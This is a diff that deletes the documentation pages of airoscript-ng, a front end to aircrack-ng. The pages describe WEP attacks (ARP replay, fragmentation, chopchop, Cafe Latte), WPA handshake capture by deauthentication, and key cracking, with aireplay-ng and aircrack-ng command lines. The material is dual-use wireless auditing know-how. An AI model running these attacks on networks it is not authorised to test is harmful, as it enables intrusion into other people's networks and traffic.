-Here, airoscript-ng kills *every airodump-ng and aireplay-ng processes* (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful!
-
-Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous
-
-Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this:
-
-::
-    
-    aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE
-
-
-Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation
-
-Chopchop attack
-+++++++++++++++
-
-Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls
-the _Injection menu: injection.html
-
-::
-
-    aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE
-
-According to aircrack-ng wiki:
-
-::
-
-    This attack, when successful, can decrypt a WEP data packet without knowing the key. 
-    It can even work against dynamic WEP. This attack does not recover the WEP key itself, 
-    but merely reveals the plaintext. However, some access points are not vulnerable to this
-    attack. Some may seem vulnerable at first but actually drop data packets shorter
-    that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay
-    tries to guess the rest of the missing data, as far as the headers are predictable. 
-    If an IP packet is captured, it additionally checks if the checksum of the header
-    is correct after guessing the missing parts of it. This attack requires at
-    least one WEP data packet. 
-
-Have a look at its aircrack-ng docs at _aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=korek_chopchop
-
-Attacks using a client
-======================
-
-.. image:: images/wep-attacks-client.png
-
-When the ap has a client connected, you can use the following attacks.
-
-Arp replay (Automatic)
-+++++++++++++++++++++++
-
-Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack.
-
-::
-    
-    aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\
-    -f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE 
-
-Arp replay (Interactive)
-++++++++++++++++++++++++
-
-Same as previous attack, interactive mode.
-
-
-Fragmentation attack
-+++++++++++++++++++++++
-
-Have a look at fragmentation attack without clients, this is basically the same,
-except for aireplay-ng being called with -7 option, like this:
-
-::
-
-    aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE
-
-Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation
-
-Chopchop attack
-+++++++++++++++
-
-Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this:
-
-::
-
-    aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE
-
-It also calls inject menu, directed for chopchop.
-
-Cafe latte attack 
-+++++++++++++++++
-
-It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng )
-
-According to aircrack-ng wiki:
-
-::
-
-    The Cafe Latte attack allows you to obtain a WEP key from a client system. 
-    Briefly, this is done by capturing an ARP packet from the client, manipulating
-    it and then send it back to the client. The client in turn generates packets 
-    which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
-    to determine the WEP key.
-
-Have a look at its aircrack-ng docs at _aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=caffe-lat

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst.html Deleted

@@ -1,134 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>Wep attacks</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="wep-attacks">
-<h1 class="title">Wep attacks</h1>
-
-<img alt="images/wep-attacks.png" src="images/wep-attacks.png" />
-<div class="section" id="attacks-not-using-a-client">
-<h1>Attacks not using a client</h1>
-<img alt="images/wep-attacks-noclient.png" src="images/wep-attacks-noclient.png" />
-<p>If you have no connected clients (for example, if you've only got one wireless card, and you're auditing your own network)
-you might need to use this attacks.</p>
-<div class="section" id="fake-auth-automatic">
-<h2>Fake auth (Automatic)</h2>
-<p>Airoscript here performs a fake auth attack, to associate with AP, and a arp replay attack for injection, typically doing something like:</p>
-<pre class="literal-block">
-aireplay-ng WIFI_INTERFACE --arpreplay -b TARJET_MAC -d INJECTION_MAC -f 1 -m 68 -h FAKE_MAC -x 1000
-aireplay-ng -3 -b AP_MAC -h SOURCE_MAC WIFI_INTERFACE
-</pre>
-<p>Where source mac (in this case) is INJ_MAC</p>
-<p>That is, fake auth and arp replay attacks. Basically, according to aircrack-ng wiki:</p>
-<pre class="literal-block">
-The fake authentication attack allows you to perform the two types of WEP
-authentication (Open System and Shared Key) plus associate with the access point (AP).
-This is only useful when you need an associated MAC address in various aireplay-ng attacks
-and there is currently no associated client. It should be noted that the fake authentication
-attack does NOT generate any ARP packets. Fake authentication cannot be used to
-authenticate/associate with WPA/WPA2 Access Points.
-
-The classic ARP request replay attack is the most effective way to generate new
-initialization vectors (IVs), and works very reliably. The program listens for an ARP packet
-then retransmits it back to the access point. This, in turn, causes the access point to repeat
-the ARP packet with a new IV. The program retransmits the same ARP packet over and over.
-However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs
-which allow you to determine the WEP key.
-</pre>
-<p>In interactive mode, you'll be asked for the &quot;f&quot; (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)</p>
-<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=fake_authentication">https://www.aircrack-ng.org/doku.php?id=fake_authentication</a>
-and _ARP replay at: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection">https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection</a></p>
-</div>
-<div class="section" id="fake-auth-interactive">
-<h2>Fake auth (Interactive)</h2>
-<p>Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.</p>
-<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=fake_authentication">https://www.aircrack-ng.org/doku.php?id=fake_authentication</a></p>
-</div>
-<div class="section" id="fragmentation-attack">
-<h2>Fragmentation attack</h2>
-<p>Here, airoscript-ng kills <em>every airodump-ng and aireplay-ng processes</em> (-9 kill, be careful as all airodump processes will stop recording and not save data) and removes all old fragmentation captures and normal captures (hard-cleans everything). Be careful!</p>
-<p>Note to self: IF NO _DUMP_PATH_ PROVIDED, AND NO HOST MAC PROVIDED (It's imposible to get here with airoscript, just if you source attacks/wep and execute directly wep_attacks_fragmentation) it will do a rm /* wich is dangerous</p>
-<p>Then it launches aireplay, in this case, assuming you've no clients, with injection (-5, --fragment option) like this:</p>
-<pre class="literal-block">
-aireplay-ng -5 -b AP_MAC -h FAKE_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE
-</pre>
-<p>Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation</p>
-</div>
-<div class="section" id="chopchop-attack">
-<h2>Chopchop attack</h2>
-<p>Makes a hardclean. Starts capturing, fake auth (3) and aireplay with chopchop attack, then it calls
-the _Injection menu: injection.html</p>
-<pre class="literal-block">
-aireplay --chopchop -b AP_MAC -h FAKE_MAC WIFI_INTERFACE
-</pre>
-<p>According to aircrack-ng wiki:</p>
-<pre class="literal-block">
-This attack, when successful, can decrypt a WEP data packet without knowing the key.
-It can even work against dynamic WEP. This attack does not recover the WEP key itself,
-but merely reveals the plaintext. However, some access points are not vulnerable to this
-attack. Some may seem vulnerable at first but actually drop data packets shorter
-that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay
-tries to guess the rest of the missing data, as far as the headers are predictable.
-If an IP packet is captured, it additionally checks if the checksum of the header
-is correct after guessing the missing parts of it. This attack requires at
-least one WEP data packet.
-</pre>
-<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=korek_chopchop">https://www.aircrack-ng.org/doku.php?id=korek_chopchop</a></p>
-</div>
-</div>
-<div class="section" id="attacks-using-a-client">
-<h1>Attacks using a client</h1>
-<img alt="images/wep-attacks-client.png" src="images/wep-attacks-client.png" />
-<p>When the ap has a client connected, you can use the following attacks.</p>
-<div class="section" id="arp-replay-automatic">
-<h2>Arp replay (Automatic)</h2>
-<p>Calls aireplay-ng for a arpreplay, as in fake auth, except that does not execute a fake auth attack.</p>
-<pre class="literal-block">
-aireplay WIFI_INTERFACE --arpreplay -b AP_MAC -d INJECTION_MAC\
--f 1 -m 68 -n 86 -h CLIENT_MAC -x INJECTRATE
-</pre>
-</div>
-<div class="section" id="arp-replay-interactive">
-<h2>Arp replay (Interactive)</h2>
-<p>Same as previous attack, interactive mode.</p>
-</div>
-<div class="section" id="id1">
-<h2>Fragmentation attack</h2>
-<p>Have a look at fragmentation attack without clients, this is basically the same,
-except for aireplay-ng being called with -7 option, like this:</p>
-<pre class="literal-block">
-aireplay-ng -7 -b AP_MAC -h CLIENT_MAC -k FRAG_CLIENT_IP -l FRAG_HOST_IP WIFI_INTERFACE
-</pre>
-<p>Have a look at _Fragmentation at aircrack-ng wiki: www.aircrack-ng.org/doku.php?id=fragmentation</p>
-</div>
-<div class="section" id="id2">
-<h2>Chopchop attack</h2>
-<p>Almost the same as non-client directed chopchop, except this one does not make a fake_auth attack, and provides client_mac like this:</p>
-<pre class="literal-block">
-aireplay-ng --chopchop -h CLIENT_MAC WIFI_INTERFACE
-</pre>
-<p>It also calls inject menu, directed for chopchop.</p>
-</div>
-<div class="section" id="cafe-latte-attack">
-<h2>Cafe latte attack</h2>
-<p>It just executes fakeauth3 and caffe late attack ( -6 option to aireplay-ng )</p>
-<p>According to aircrack-ng wiki:</p>
-<pre class="literal-block">
-The Cafe Latte attack allows you to obtain a WEP key from a client system.
-Briefly, this is done by capturing an ARP packet from the client, manipulating
-it and then send it back to the client. The client in turn generates packets
-which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
-to determine the WEP key.
-</pre>
-<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=caffe-lat">https://www.aircrack-ng.org/doku.php?id=caffe-lat</a></p>
-</div>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst Deleted

@@ -1,41 +0,0 @@
-WPA attacks
------------
-
-Standard attack
-==========================
-
-Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it.
-
-::
-    airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE
-
-It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK
-
-You can read more about it on: https://www.aircrack-ng.org/doku.php?id=cracking_wpa&s=wpa
-
-WMM Attack
-==========
-Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself.
-
-Got from the aircrack-ng wiki:
-
-::
-
-    Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack.
-    This attack is described in the paper, Practical attacks against WEP and
-    WPA written by Martin Beck and Erik Tews. The paper describes advanced
-    attacks on WEP and the first practical attack on WPA. An additional excellent
-    references explaining how tkiptun-ng does its magic is this ars technica 
-    article Battered, but not broken: understanding the WPA crack by Glenn Fleishman.
-
-    Basically tkiptun-ng starts by obtaining the plaintext of a small packet and 
-    the MIC (Message Integrity Check). This is done via chopchop-type method.
-    Once this is done, the MICHAEL algorithm is reversed the MIC key used to
-    protect packets being sent from the AP to the client can be calculated.
-
-    At this point, tkiptun-ng has recovered the MIC key and knows a keystram
-    for access point to client communication. Subsequently, using the XOR file,
-    you can create new packets and inject them. The creation and injection are
-    done using the other aircrack-ng suite tools. 
-
-You can read more here: https://www.aircrack-ng.org/doku.php?id=tkiptun-ng

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst.html Deleted

@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>WPA attacks</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="wpa-attacks">
-<h1 class="title">WPA attacks</h1>
-
-<div class="section" id="standard-attack">
-<h1>Standard attack</h1>
-<p>Here airoscript will send a deauth attack, so we can get the handshake, and launch airodump-ng to listen for it.</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE</dd>
-</dl>
-<p>It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK</p>
-<p>You can read more about it on: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s=wpa">https://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s=wpa</a></p>
-</div>
-<div class="section" id="wmm-attack">
-<h1>WMM Attack</h1>
-<p>Have in account that this attacks will most probably not work, it an advanced attack not meant for novice users that might need fine-tuning inside airoscript itself.</p>
-<p>Got from the aircrack-ng wiki:</p>
-<pre class="literal-block">
-Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack.
-This attack is described in the paper, Practical attacks against WEP and
-WPA written by Martin Beck and Erik Tews. The paper describes advanced
-attacks on WEP and the first practical attack on WPA. An additional excellent
-references explaining how tkiptun-ng does its magic is this ars technica
-article Battered, but not broken: understanding the WPA crack by Glenn Fleishman.
-
-Basically tkiptun-ng starts by obtaining the plaintext of a small packet and
-the MIC (Message Integrity Check). This is done via chopchop-type method.
-Once this is done, the MICHAEL algorithm is reversed the MIC key used to
-protect packets being sent from the AP to the client can be calculated.
-
-At this point, tkiptun-ng has recovered the MIC key and knows a keystram
-for access point to client communication. Subsequently, using the XOR file,
-you can create new packets and inject them. The creation and injection are
-done using the other aircrack-ng suite tools.
-</pre>
-<p>You can read more here: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=tkiptun-ng">https://www.aircrack-ng.org/doku.php?id=tkiptun-ng</a></p>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attacks.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/attacks.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/autopwn.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/autopwn.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/config.rst Deleted

@@ -1,55 +0,0 @@
-Airoscript-ng configuration file
----------------------------------
-
-Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments.
-Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf.
-
-Standard configuration file
-===========================
-
-Here, we'll find a couple of sections, defining sets of arrays or variables.
-
-Wordlists
-++++++++++
-
-*WORDLIST*
-The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section).
-
-Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to *DUMP_PATH/WORDLIST_FILE_NAME* having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable.
-
-*db_location*
-This variable will be passed to aircrack as the PMK database location.
-
-Plugins support
-++++++++++++++++
-
-The variable enabled_plugins is just an array of the plugins that will be loaded by default
-Actually, those are john the ripper and MDK3
-
-Wireless interfaces
-+++++++++++++++++++
-
-You can setup here wifi and iwifi interfaces.
-Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng.
-
-
-Appearance
-++++++++++
-
-This configuration section will allow you to make airoscript prettier for you.
-Variables:
-
-- *theme* : The theme file, theme files are stored in path/themes/
-- *DEFAULT_MONITOR_MODE* : (Bool) start or not monitor mode on selected interface by default.
-- *SHOW_SMALL_MENU* : (Bool) Show a small version of all the menus, with just the title, perfect for small screens.
-- *show_only_wireless_extensions*: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0.
-- *Show warning* (Bool) (Currently no effect) Shows an usage warning at startup
-- *INTERACTIVE* (Bool): Asks for some more stuffs than usual
-- *force_mac_address* (Bool): Do not check for mac address mode.
-- *MON_PREFIX* : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup.
-- *ADDOPTIONS* : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES.
-
-Advanced configuration file
-===========================
-
-Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode.

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/config.rst.html Deleted

@@ -1,60 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>Airoscript-ng configuration file</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="airoscript-ng-configuration-file">
-<h1 class="title">Airoscript-ng configuration file</h1>
-
-<p>Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments.
-Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf.</p>
-<div class="section" id="standard-configuration-file">
-<h1>Standard configuration file</h1>
-<p>Here, we'll find a couple of sections, defining sets of arrays or variables.</p>
-<div class="section" id="wordlists">
-<h2>Wordlists</h2>
-<p><em>WORDLIST</em>
-The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section).</p>
-<p>Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to <em>DUMP_PATH/WORDLIST_FILE_NAME</em> having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable.</p>
-<p><em>db_location</em>
-This variable will be passed to aircrack as the PMK database location.</p>
-</div>
-<div class="section" id="plugins-support">
-<h2>Plugins support</h2>
-<p>The variable enabled_plugins is just an array of the plugins that will be loaded by default
-Actually, those are john the ripper and MDK3</p>
-</div>
-<div class="section" id="wireless-interfaces">
-<h2>Wireless interfaces</h2>
-<p>You can setup here wifi and iwifi interfaces.
-Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng.</p>
-</div>
-<div class="section" id="appearance">
-<h2>Appearance</h2>
-<p>This configuration section will allow you to make airoscript prettier for you.
-Variables:</p>
-<ul class="simple">
-<li><em>theme</em> : The theme file, theme files are stored in path/themes/</li>
-<li><em>DEFAULT_MONITOR_MODE</em> : (Bool) start or not monitor mode on selected interface by default.</li>
-<li><em>SHOW_SMALL_MENU</em> : (Bool) Show a small version of all the menus, with just the title, perfect for small screens.</li>
-<li><em>show_only_wireless_extensions</em>: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0.</li>
-<li><em>Show warning</em> (Bool) (Currently no effect) Shows an usage warning at startup</li>
-<li><em>INTERACTIVE</em> (Bool): Asks for some more stuffs than usual</li>
-<li><em>force_mac_address</em> (Bool): Do not check for mac address mode.</li>
-<li><em>MON_PREFIX</em> : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup.</li>
-<li><em>ADDOPTIONS</em> : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES.</li>
-</ul>
-</div>
-</div>
-<div class="section" id="advanced-configuration-file">
-<h1>Advanced configuration file</h1>
-<p>Advanced configuration will not be covered here, it's allways changing, and the most remarcable things are aircrack-ng configuration values and debug mode.</p>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/configuration.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/configuration.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/crack.rst Deleted

@@ -1,44 +0,0 @@
-Crack
-------
-
-
-This section defines cracking menu.
-
-Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)
-
-Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)
-
-WPA Crack
-==========
-
-It will execute attacks against a wordlist.
-
-WEP Crack
-=========
-
-Default
-++++++++
-
-Executes aircrack-ng with the following options
-
-::                  
-
-    "$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;;
-
-
-Korek
-++++++
-
-Executes aircrack-ng with the following options
-
-AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey
-
-Interactive
-+++++++++++
-
-Same as default, except that it allows you to enter personalized fudge_factor and enc_size.
-
-Executes aircrack-ng with the following options:
-
-::
-   AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/crack.rst.html Deleted

@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>Crack</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="crack">
-<h1 class="title">Crack</h1>
-
-<p>This section defines cracking menu.</p>
-<p>Note: If &quot;pipe&quot; variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)</p>
-<p>Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)</p>
-<div class="section" id="wpa-crack">
-<h1>WPA Crack</h1>
-<p>It will execute attacks against a wordlist.</p>
-</div>
-<div class="section" id="wep-crack">
-<h1>WEP Crack</h1>
-<div class="section" id="default">
-<h2>Default</h2>
-<p>Executes aircrack-ng with the following options</p>
-<pre class="literal-block">
-&quot;$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey&quot;; $clear; break ;;
-</pre>
-</div>
-<div class="section" id="korek">
-<h2>Korek</h2>
-<p>Executes aircrack-ng with the following options</p>
-<p>AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey</p>
-</div>
-<div class="section" id="interactive">
-<h2>Interactive</h2>
-<p>Same as default, except that it allows you to enter personalized fudge_factor and enc_size.</p>
-<p>Executes aircrack-ng with the following options:</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey</dd>
-</dl>
-</div>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/css Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/css/black-Linen.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/css/stylesheet.css Deleted

@@ -1,46 +0,0 @@
-h1, h2{ text-shadow: 2px 2px 2px #ca9; text-align:center; }
-p{ padding-left:10px; }
-pre{ padding-left:30px; }
-body { background: #fafafa url(black-Linen.png);  }
-img{ 
-    display: block;   
-    margin-left: auto;
-    margin-right: auto;
-    border: solid 1px #EFEFEF;
-    border: solid 1px #CCC;
-    -moz-box-shadow: 3px 3px 5px #999;
-    -webkit-box-shadow: 3px 3px 5px #999;
-    box-shadow: 3px 3px 5px #999;
-}
-
-.section {
-    color:black;
-    position: relative;
-    width: 90%;
-    padding: 10px 0;
-    background: rgba(240, 240, 240, 0.5);
-    padding: 20px 20px 20px 20px;
-    margin-left:auto;
-    margin-right:auto;
-    margin-bottom:30px;
-    margin-top:30px;
-    /*** cross browser box shadow ***/
-    -moz-box-shadow: 0 0 2px #fff;
-    -webkit-box-shadow: 0 0 2px #fff;
-    -ms-filter: "progid:DXImageTransform.Microsoft.Glow(color=#ffffff,strength=3)";
-    filter:
-        progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=0,strength=3)
-        progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=90,strength=3)
-        progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=180,strength=3)
-        progid:DXImageTransform.Microsoft.Shadow(color=#ffffff,direction=270,strength=3);
-    box-shadow: 0 0 2px #fff;
- }
-
-.document{
-    color: white;
-    padding: 14px 20px;
-    background-color: rgba(90,60,40,0.6);
-    margin: 20px 20px 20px 20px;
-    -webkit-border-radius: 6px;    /* for Safari */
-    -moz-border-radius: 6px;       /* for Firefox */
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/exit.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/exit.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/images Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/images/wep-attacks-client.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/images/wep-attacks-noclient.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/images/wep-attacks.png Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/index.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/index.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/interface.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/interface.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others.rst.html Deleted

@@ -1,112 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>Others menu</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="others-menu">
-<h1 class="title">Others menu</h1>
-
-<p>This menu contains all not-frequently used (but nice) options.</p>
-<div class="section" id="airoscript-options">
-<h1>Airoscript options</h1>
-<p>This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.</p>
-<ul class="simple">
-<li>Change / reset interface</li>
-<li>Change interface MAC</li>
-<li>Enable monitor mode</li>
-<li>Change dump path</li>
-<li>Try to configure network</li>
-</ul>
-</div>
-<div class="section" id="external-plugins">
-<h1>External plugins</h1>
-<p>Here, plugins enabled in config or startup parameters will have its menus.
-Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:</p>
-<pre class="literal-block">
-plugins_menu+=(&quot;This is the menu entry&quot;);
-</pre>
-<p>And then creating a function, composed by the menu name, replacing spaces by underscores.</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd><p class="first">This_is_the_menu_entry(){</p>
-<blockquote>
-# Here do stuff</blockquote>
-<p class="last">}</p>
-</dd>
-</dl>
-<p>For more info on plugin creation you can have a look at the manual page.</p>
